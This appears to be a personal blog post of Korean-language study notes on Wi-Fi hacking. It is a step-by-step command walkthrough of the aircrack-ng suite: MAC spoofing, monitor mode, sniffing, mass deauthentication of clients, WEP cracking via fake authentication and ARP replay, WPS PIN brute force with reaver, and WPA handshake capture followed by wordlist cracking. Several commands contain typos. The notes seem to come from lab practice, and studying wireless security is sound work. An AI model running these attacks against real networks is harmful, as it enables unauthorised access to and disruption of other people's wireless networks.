노트필기) 와이파이 보안

Change MAC Address

ifconfig

IP address 없는 것은 인터넷 연결이 안된 것

 

 1) disable interface

ifconfig eth0 down

runs with no error -> executed properly

 

2) change

ifconfig eth0 hw ether 00:11:22:33:44:55

(hw ether : hardware address)

 

3) enable interface

ifconfig eth0 up

 

4) check

ifconfig

 

컴퓨터 껐다 키면 다시 원래대로 바뀜 -> 안껐다 켰는데 원래대로 돌아가면 문제 있는 거임. 아마 네트워크 매니저 때문

 

Set monitor mode for interface

iwconfig

iwconfig -> wireless 

ifconfig wlan0 down

airmon-ng check kill
iwconfig wlan0 mode monitor

ifconfig wlan0 up

 

iwconfig

 

Packt sniffing basic

모니터 모드 미리 켜놓고

airodump-ng wlan0

-> all wirelss networking is shown

 

각 컬럼에 대한 자세한 설명 https://www.aircrack-ng.org/doku.php?id=airodump-ng

 

airodump-ng only siff 2.0 gigahertz frequency -> cannot see 5Gz 

 

to make listen to 5ghz

airodump-ng --band a wlan0

(band a : 5ghz) -> can sniff 5G network

airodump-ng --band abg wlan0

abg -> 2.4, 5gz at the same time

 

Sniff target network

airodump-ng --bssid 04:09:A5:50:73:CF --channel 9 --write test wlan0

 

Deauthentication attack

 

aireplay-ng --deauth 100000000 -a 04:09:A5:50:73:CF -c 12:C9:51:79:C8:CC wlan0

-> airodump-ng 가 안 켜져있으면 안 될수도 있음. 다른 터미널에서 켜놓고 시작.

 

 

 

# WEP 비밀번호 연습 -> 네트워크가 바빠야 가능

미리 airodump-ng 켜놓기 

airodump-ng --bssid 64:16:F0:EC:7B:F3 --chnnel 6 --write basic_wep mon0

 

패킷 충분히 저장되면 aircrack-ng 사용

aircrack-ng basic_wep-01.cap

 

 

칼리에서는 프로세스 다 죽여놔서 바로 인터넷 연결 안될수도 -> 필요시 재부팅

 

 

충분히 안 바빠서 패킷이 안 돌면 AP가 새 IV 생성하기

airodump-ng --bssid 64:16:F0:EC:7B:F3 --channel 6 --write arpreplay mon0

 

이거 돌려놓고

 

가짜 authentication 보냄

aireplay-ng --fakeauth 0 -a 64:16:F0:EC:7B:F3 -h 48:5D:60:2A:45:25 mon0

(보내는 주소는 ifconfig으로 확인, 0은 간격 0 세팅으로 -> 한번이라서 반복 안한다는 의미

-> 연결 안 되어도 airodump-ng 화면에서 밑에 연결(association)된 걸로 뜸

 

이제 패킷 만들기 

aireplay-ng --arpreplay 0 -b 64:16:F0:EC:7B:F3 -h 48:5D:60:2A:45:25 mon0

 

패킷이 충분히 쌓이고 나면 크랙

aircrack-ng arpreplay-01.cap

 

 

WPA/ WPA2

background

WPS(Wi-Fi Protected Setup) :

 - Allows clients to connect without the password

- authentication is done by using an 8 digit pint

- PBC(Push button authentication) should not be configured

 

WPS

wash --interface mon0 

(-> WPS Lck 확인)

 

aireplay-ng --fakeauth 30 -a 00:10:18:90:2D:EE -h 48:5D;60:2A:45:25 mon0

(ifconfig으로 check IP),  30초마다

 

이거 적어놓고 다른 창에서 

reaver --bssid 00:10:18:90:2D:EE --chnnel 1 --interface mon0 -vvv --no-assosiate

(reaver : brute force program)

vvv 최대한 많은 정보

--no-assosiate는 위에서 수동으로 했응게

 

실행 후 위에 aireply 실행

 

 

Capturing handshake

run arodump-ng to check wifi

 

airodump-ng --bssid 00:10:18:90:2D:EE --channel 1 --write wpa_handshake mon0

wait handshake is captured or we can disconnect other client

aireplay-ng --deauth 4 -a 00:10:18:90:2D:EE -c 80:E6:50:22:A2:E8 mon0

 

-c는 현재 타겟 네트워크에 연결되어 있는 client

 

wordlist 만들기

crunch 6 8 abc12 -o test.txt

 

bruteforce with wordlist

aircrack-ng wpa_handshake-01.cap -w test.txt

 

 

 

 

 

댓글

Designed by JB FACTORY